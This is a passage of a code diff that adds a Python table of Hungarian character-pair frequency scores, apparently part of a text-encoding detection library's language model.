'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 1, # 'x' + 16: 3, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 8: { # 'o' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 1, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 2, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 1, # 'ö' + 31: 1, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 23: { # 'p' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 1, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 3, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 3, # 'o' + 23: 3, # 'p' + 10: 3, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 10: { # 'r' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 2, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 2, # 'ű' + }, + 5: { # 's' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 2, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 3: { # 't' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 1, # 'g' + 20: 3, # 'h' + 9: 3, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 3, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 3, # 'ú' + 29: 3, # 'ü' + 42: 3, # 'ő' + 56: 2, # 'ű' + }, + 21: { # 'u' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 2, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 2, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 1, # 'u' + 19: 3, # 'v' + 62: 1, # 'x' + 16: 1, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 2, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 1, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 19: { # 'v' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 2, # 's' + 3: 2, # 't' + 21: 2, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 2, # 'ö' + 31: 1, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 1, # 'ű' + }, + 62: { # 'x' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 0, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 1, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 1, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 1, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 1, # 'é' + 30: 1, # 'í' + 25: 1, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 16: { # 'y' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 3, # 'e' + 27: 2, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 2, # 'j' + 7: 2, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 2, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 2, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 2, # 'í' + 25: 2, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 2, # 'ü' + 42: 1, # 'ő' + 56: 2, # 'ű' + }, + 11: { # 'z' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 3, # 'a' + 18: 2, # 'b' + 26: 1, # 'c' + 17: 3, # 'd' + 1: 3, # 'e' + 27: 1, # 'f' + 12: 2, # 'g' + 20: 2, # 'h' + 9: 3, # 'i' + 22: 1, # 'j' + 7: 3, # 'k' + 6: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 3, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 3, # 'u' + 19: 2, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 3, # 'á' + 15: 3, # 'é' + 30: 3, # 'í' + 25: 3, # 'ó' + 24: 3, # 'ö' + 31: 2, # 'ú' + 29: 3, # 'ü' + 42: 2, # 'ő' + 56: 1, # 'ű' + }, + 51: { # 'Á' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 1, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 44: { # 'É' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 1, # 'E' + 50: 0, # 'F' + 49: 2, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 2, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 2, # 'R' + 33: 2, # 'S' + 37: 2, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 1, # 'h' + 9: 0, # 'i' + 22: 1, # 'j' + 7: 1, # 'k' + 6: 2, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 2, # 'r' + 5: 3, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 61: { # 'Í' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 0, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 1, # 'm' + 4: 0, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 0, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 58: { # 'Ó' + 28: 1, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 1, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 2, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 2, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 1, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 0, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 1, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 59: { # 'Ö' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 1, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 1, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 0, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 1, # 'k' + 6: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 2, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 60: { # 'Ú' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 1, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 1, # 'F' + 49: 1, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 0, # 'b' + 26: 0, # 'c' + 17: 0, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 2, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 2, # 'j' + 7: 0, # 'k' + 6: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 0, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 0, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 63: { # 'Ü' + 28: 0, # 'A' + 40: 1, # 'B' + 54: 0, # 'C' + 45: 1, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 1, # 'G' + 38: 1, # 'H' + 39: 0, # 'I' + 53: 1, # 'J' + 36: 1, # 'K' + 41: 1, # 'L' + 34: 1, # 'M' + 35: 1, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 1, # 'R' + 33: 1, # 'S' + 37: 1, # 'T' + 57: 0, # 'U' + 48: 1, # 'V' + 55: 0, # 'Y' + 52: 1, # 'Z' + 2: 0, # 'a' + 18: 1, # 'b' + 26: 0, # 'c' + 17: 1, # 'd' + 1: 0, # 'e' + 27: 0, # 'f' + 12: 1, # 'g' + 20: 0, # 'h' + 9: 0, # 'i' + 22: 0, # 'j' + 7: 0, # 'k' + 6: 1, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 8: 0, # 'o' + 23: 0, # 'p' + 10: 1, # 'r' + 5: 1, # 's' + 3: 1, # 't' + 21: 0, # 'u' + 19: 1, # 'v' + 62: 0, # 'x' + 16: 0, # 'y' + 11: 1, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 0, # 'á' + 15: 0, # 'é' + 30: 0, # 'í' + 25: 0, # 'ó' + 24: 0, # 'ö' + 31: 0, # 'ú' + 29: 0, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 14: { # 'á' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 3, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 2, # 'f' + 12: 3, # 'g' + 20: 2, # 'h' + 9: 2, # 'i' + 22: 3, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 8: 1, # 'o' + 23: 2, # 'p' + 10: 3, # 'r' + 5: 3, # 's' + 3: 3, # 't' + 21: 2, # 'u' + 19: 3, # 'v' + 62: 0, # 'x' + 16: 1, # 'y' + 11: 3, # 'z' + 51: 0, # 'Á' + 44: 0, # 'É' + 61: 0, # 'Í' + 58: 0, # 'Ó' + 59: 0, # 'Ö' + 60: 0, # 'Ú' + 63: 0, # 'Ü' + 14: 1, # 'á' + 15: 2, # 'é' + 30: 1, # 'í' + 25: 0, # 'ó' + 24: 1, # 'ö' + 31: 0, # 'ú' + 29: 1, # 'ü' + 42: 0, # 'ő' + 56: 0, # 'ű' + }, + 15: { # 'é' + 28: 0, # 'A' + 40: 0, # 'B' + 54: 0, # 'C' + 45: 0, # 'D' + 32: 0, # 'E' + 50: 0, # 'F' + 49: 0, # 'G' + 38: 0, # 'H' + 39: 0, # 'I' + 53: 0, # 'J' + 36: 0, # 'K' + 41: 0, # 'L' + 34: 0, # 'M' + 35: 0, # 'N' + 47: 0, # 'O' + 46: 0, # 'P' + 43: 0, # 'R' + 33: 0, # 'S' + 37: 0, # 'T' + 57: 0, # 'U' + 48: 0, # 'V' + 55: 0, # 'Y' + 52: 0, # 'Z' + 2: 1, # 'a' + 18: 3, # 'b' + 26: 2, # 'c' + 17: 3, # 'd' + 1: 1, # 'e' + 27: 1, # 'f' + 12: 3, # 'g' + 20: 3, # 'h' + 9: 2, # 'i' + 22: 2, # 'j' + 7: 3, # 'k' + 6: 3, # 'l' + 